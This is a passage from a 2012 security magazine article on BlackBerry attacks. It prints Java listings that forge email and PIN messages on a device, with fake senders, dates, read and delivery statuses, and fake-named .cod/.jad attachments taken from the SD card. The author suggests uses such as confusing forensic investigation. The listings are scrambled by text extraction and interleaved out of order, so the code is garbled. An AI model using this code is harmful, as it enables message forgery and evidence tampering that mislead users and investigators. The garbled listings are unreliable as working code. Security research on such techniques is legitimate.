  21. 21. Mobile Security Listing 8b. MESSAGE MISLEADING length() > 0) //MESSAGE BODY Address oaddress = null; from fextfield try { alert(MisLeadSentPIN(tf. MESSAGE BUILDER getText())); } } catch (AddressException e) { length() > 0) res += from textfield MisLeadSentMessage(oaddress, omessage, odelivered); //EMAIL MESSAGE } MESSAGE BUIDLER } String res = “”; { //MESSAGE BODY “^_^”; try { = null; iaddress = new Address(“fake@ololo.com”, “trololo friend”); (AddressException e) e.getMessage(); } // { res += MESSAGE SENDER } 76 String res = “”; String imessage = //MESSAGE BODY Address iaddress try iaddress // } (AddressException e) e.getMessage(); } { res += res += MisLeadInbo xMessageAttach(iaddress, imessage); Dialog. else if (field == checkpoButton) { } catch //EMAIL MESSAGE alert(“Result for you :: “ + res); Dialog. //PIN “trololo friend”); res += BUILDER { = new Address(“fake@ololo.com”, MisLeadInboxMessage(iaddress, imessage); //GET SENDER PIN { } catch if (tf.getText(). else if (field == checkiaButton) String imessage = Address iaddress = SENDER ADDRESS } getText())); else if (field == checkiButton) null; //PIN alert(MisLeadInboxPIN(tf. Dialog.alert(“Result for you :: “ + res); “^_^”; Dialog. else if (field == checkpiButton) { res += e.getMessage(); } { { //SET A “trololo friend”); BUILDER //GET RECIPIENT PIN oaddress = new Address(“fake@ololo.com”, NEW RECIPIENT if (tf.getText(). BUIDLER //EMAIL MESSAGE Dialog.alert(“Result for you :: “ + res); } } 04/2012
  22. 22. Listing 8c. MESSAGE MISLEADING message += e.getMessage(); msg.setSentDate(new Date(System. static String MisLeadSentMessage(Address oaddress, currentTimeMillis())); String message, boolean delivered) // ADD NEW TIME //BUILDER OF SENT EMAIL MESSAGE { sentfolder.appendMessage(msg); // ADD NEW EMAIL MESSAGE TO SENT FOLDER String error_message = “”; if (error_message.length() < 1) { error_ Store store = Session. getDefaultInstance().getStore(); Folder[] folders = store.list(Folder. SENT); // RETRIVE A SENT FOLDER Folder sentfolder = folders[0]; Message msg = new Message(sentfolder); //CREATE a NEW MESSAGE IN SENT FOLDER if (delivered) // CHECK DELIVERY STATUS { } msg.setStatus(Message.Status. TX_SENT, Message.Status.TX_SENT); else { msg.setStatus(Message.Status. msg.setFlag(Message.Flag. OPENED, true); // SET READ STATUS } Session session = null; try } session = Session. waitForDefaultSession(); catch (NoSuchServiceException e) { error_ message += e.getMessage(); } INBOX); //CREATE A NEW MESSAGE IN INBOX FOLDER try { msg.setContent(message); catch (NoSuchServiceException e) { error_ message += e.getMessage(); } msg.setSentDate(new Date()); // ADD NEW DATE catch (MessagingException e) { error_ message += e.getMessage(); Folder inbox = folders[0]; } try } try msg.setFrom(fromAddress); //ADD A SENDER msg.setStatus(Message.Status.RX_RECEIVED, Message.Status.RX_RECEIVED); //ADD A RECEIVED STATUS msg.setSentDate(new Date(System. currentTimeMillis())); msg.setContent(message); // ADD BODY catch (MessagingException e) { error_ www.hakin9.org/en String error_message = “”; final Message msg = new Message(inbox); // ADD SUBJECT TO EMAIL MESSAGES } ATTACHMENT // ADD RECIPIENT msg.setSubject(“subject”); { { // RETRIVE AN INBOX FOLDER message += e.getMessage(); } fromAddress, String message) //BUILDER OF RECEIVED EMAIL MESSAGE WITHOUT msg.addRecipient(Message. catch (MessagingException e) { error_ { static String MisLeadInboxMessage(Address Folder[] folders = store.list(Folder. RecipientType.TO, oaddress); } } Store store = session.getStore(); try { message = “no_error”; } return error_message; { TX_ERROR, Message.Status.TX_ERROR); } } //ADD DATE’n’TIME msg.setFlag(Message.Flag.REPLY_ALLOWED, true); msg.setInbound(true); msg.setSubject(“subject”); 77
  23. 23. Mobile Security Listing 8d. MESSAGE MISLEADING //ADD A SUBJECT TO EMAIL MESSAGE inbox.appendMessage(msg); //ADD EMAIL MESSAGE TO THE INBOX FOLDER if (error_message.length() < 1) { error_message = “no_error”; } } } static String MisLeadInboxPIN(String FakePIN) //BUILDER OF RECEIVED PIN MESSAGE { String err = ““; String error_message = “”; return error_message; Store store = Session. getDefaultInstance().getStore(); Folder[] folders = store.list(Folder. static String MisLeadSentPIN(String FakePIN) INBOX); //BUILDER OF SENT PIN MESSAGE { return err; //RETRIEVE a PIN INBOX FOLDER Folder inboxfolder = folders[0]; String err = “”; Message msg = new Message(inboxfolder); String error_message = “”; //CREATE A PIN MESSAGE IN THE INBOX Store store = Session. FOLDER getDefaultInstance().getStore(); PINAddress recipients[] = new SENT); try Folder[] folders = store.list(Folder. //RETRIEVE a PIN SENT FOLDER PINAddress[1]; { Folder sentfolder = folders[0]; recipients[0]= new Message msg = new Message(sentfolder); PINAddress(FakePIN, “Robert”); //CREATE A PIN MESSAGE IN THE SENT FOLDER PINAddress recipients[] = new try } PINAddress[1]; { catch (Exception e) { PINAddress(FakePIN, “Robert”); NAME try RecipientType.TO, recipients); //ADD RECIPIENTS TO PIN STRUCTURE msg.setSubject(“SUBJ”); //ADD A SUBJECT e.getMessage(); } msg.setContent(“BODY”); //ADD A BODY msg.setStatus(Message.Status. msg.addRecipients(Message. RX_RECEIVED, Message.Status.RX_ RecipientType.TO, recipients); RECEIVED); //ADD RECIPIENTS TO PIN //ADD A RECEIVED STATUS STRUCTURE inboxfolder.appendMessage(msg); msg.setSubject(“SUBJ”); //ADD A SUBJECT } msg.setContent(“BODY”); //PUT MESSAGE INTO INBOX FOLDER catch (Exception e) //ADD A BODY e.getMessage(); msg.setStatus(Message.Status. TX_SENT, Message.Status.TX_SENT); } msg.addRecipients(Message. //ADD RECIPIENT BY PIN and catch (Exception e) { err += { { err += e.getMessage(); try recipients[0]= new } //ADD RECIPIENT BY PIN and NAME return err; { err += } //ADD A SENT STATUS } //PUT MESSAGE INTO SENT FOLDER static String MisLeadInboxMessageAttach(Address sentfolder.appendMessage(msg); } catch (Exception e) { err += e.getMessage(); } 78 fromAddress, String message) //BUILDER OF RECEIVED EMAIL MESSAGE WITH ATTACHMENT { 04/2012
  24. 24. Listing 8e. MESSAGE MISLEADING try String error_message = “”; { Session session = null; try { getMIMEType(fullname1); //ADD ATTACHMENT session = Session. WITH CORRECT FILE TYPE waitForDefaultSession(); } catch (NoSuchServiceException e) } catch (Exception e) { error_ { error_ message += e.getMessage(); } Store store = session.getStore(); Folder[] folders = store.list(Folder. INBOX); // RETRIVE AN INBOX FOLDER } finally try msg.setContent(message); } catch (MessagingException e) { error_ message += e.getMessage(); } msg.setFrom(fromAddress); //ADD A SENDER name-$$”, data); multipart.addBodyPart(attach); data = readFile(fullname2); mtype = “”; try { //ADD A RECEIVED STATUS getMIMEType(fullname2); currentTimeMillis())); //ADD ATTACHMENT //ADD DATE’n’TIME WITH CORRECT FILE TYPE msg.setFlag(Message.Flag.REPLY_ALLOWED, } true); catch (Exception e) msg.setInbound(true); { msg.setSubject(“subject”); //ADD A SUBJECT TO EMAIL MESSAGE e.getMessage(); String fullname1 = “file:///SDCard/bin/ } String fullname2 = “file:///SDCard/bin/ { //CALL YOUR OWN READ METHOD TO GET ATTACHMENT DATA Multipart multipart = new Multipart(); SupportedAttachmentPart attach = null; String mtype = “”; { try www.hakin9.org/en error_message += } finally //SET PATH OF EXECUTION FILE data = readFile(fullname1); mtype = MIMETypeAssociations. msg.setSentDate(new Date(System. byte[] data = new byte[256]; try { Message.Status.RX_RECEIVED); BlackBerryKit_1.cod”; //ADD A FAKE ATTACHMENT NAME } msg.setStatus(Message.Status.RX_RECEIVED, BlackBerryKit_1.jad”; attach = new SupportedAttach mentPart(multipart, mtype, “file- final Message msg = new Message(inbox); //CREATE A NEW MESSAGE IN INBOX FOLDER message += e.getMessage(); } { Folder inbox = folders[0]; { mtype = MIMETypeAssociations. attach = new SupportedAttach mentPart(multipart, mtype, “filename-$$$”, data); } //ADD A FAKE ATTACHMENT NAME multipart.addBodyPart(attach); try { } msg.setContent(multipart); catch (MessagingException e) 79
  25. 25. Mobile Security Listing 8f. MESSAGE MISLEADING { } data = IOUtilities. } error_message += streamToBytes(is); catch (IOException e) e.getMessage(); finally //ADD A FAKE ATTACHMENT { inbox.appendMessage(msg); try //PUT AN EMAIL MESSAGE WITH ATTACHMENT TO INBOX FOLDER { if (error_message.length() < 1) { } } error_message = “no_error”; is.close(); return error_message; if (null != fconn) close(); FileConnection fconn = null; } DataInputStream is = null; } is = fconn. the previous location, so it is a kind of timeline (Figure 21 and Listing 8). Conclusion These two articles describe how anyone could easily develop malware or a security application to manage { Dialog.alert(e.getMessage()); } return data; fconn = (FileConnection) Connector. openDataInputStream(); fconn. } catch (IOException e) try open(FullName, Connector.READ); } { byte[] data = null; { if (null != is) { public static byte[] readFile(String FullName) { { Dialog.alert(e. getMessage()); } } } with other vulnerabilities. These highlighted points are very actual because some of them take advantage of old security issues and concepts from DOS, UNIX and other OSs. Yury Chemerkin Figure 21. ScreenShot of BlackBerry Map 80 Graduated at Russian State University for the Humanities (http://rggu.com/) in 2010. At present, postgraduate at RSUH. Information Security Researcher since 2009 and currently works as mobile and social information security researcher in Moscow. Experienced in Reverse Engineering, Software Programming, Cyber & Mobile Security Researching, Documentation, and Security Writing as regular contributor. Now researching Cloud Security and Social Privacy. Contacts: I have a lot of social contacts, that’s way you’re able to choose the most suitable way for you. Regular blog: http://security-through-obscurity.blogspot.com Regular Email: yury.chemerkin@gmail.com Skype: yury.chemerkin Other my contacts (blogs, IM, social networks) you’ll find among http links and social icons before TimeLine section on Re.Vu: http://re.vu/yury.chemerkin 04/2012
  26. 26. The last exploitation The last exploitation covers so-called message misleading discussed in one of my previous articles. I recall some ideas and present code that attempts to cover all entry points and can be easily adapted for testing. RIM API has ability to create PIN mail service. What are the goals you gain by implementing these ideas? Maybe you would like to build steganography, maybe you have to make a lot of fake message with fake interaction graphs to perplex forensic investigating or maybe something else – it is all up to you (Figure 22-Figure 25). Figure 22. Sent Email Message Figure 24. Pin-to-PIN Message with Error Status Figure 23. Received Email Message with attach Figure 25. Pin-to-PIN Message with Sent Status and e-mail with any possible parameters like their type as incoming, outgoing, received, sent, draft, etc. and their status (read, unread, error while sent, etc.). You may set your own date, list of recipients, subjects, body, attachments. Note that not one of these messages will synchronize with your real e- On the Net • http://forum.drweb.com/index.php?showtopic=302926 – New Trojan horse for Android spreads with Angry Birds Rio Unlock, Dr.Web • http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu.html, http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu2/ – Researching for DroidKungFu variants, Xuxian Jiang, Assistant Professor, Department of Computer Science, NC State University • http://blog.mylookout.com/blog/2011/01/07/geinimi-trojan-technical-analysis/ – Geinimi Trojan Technical Analysis, • http://www.informationweek.com/news/security/mobile/231001685 – Zitmo Banking Trojan • http://www.computerworld.com/s/article/9210764/New_bank_Trojan_employs_fresh_tricks_to_steal_account_data – OddJob bank trojan • http://www.elcomsoft.com/ebbe.html – Elcomsoft Blackberry Backup Explorer www.hakin9.org/en 81

×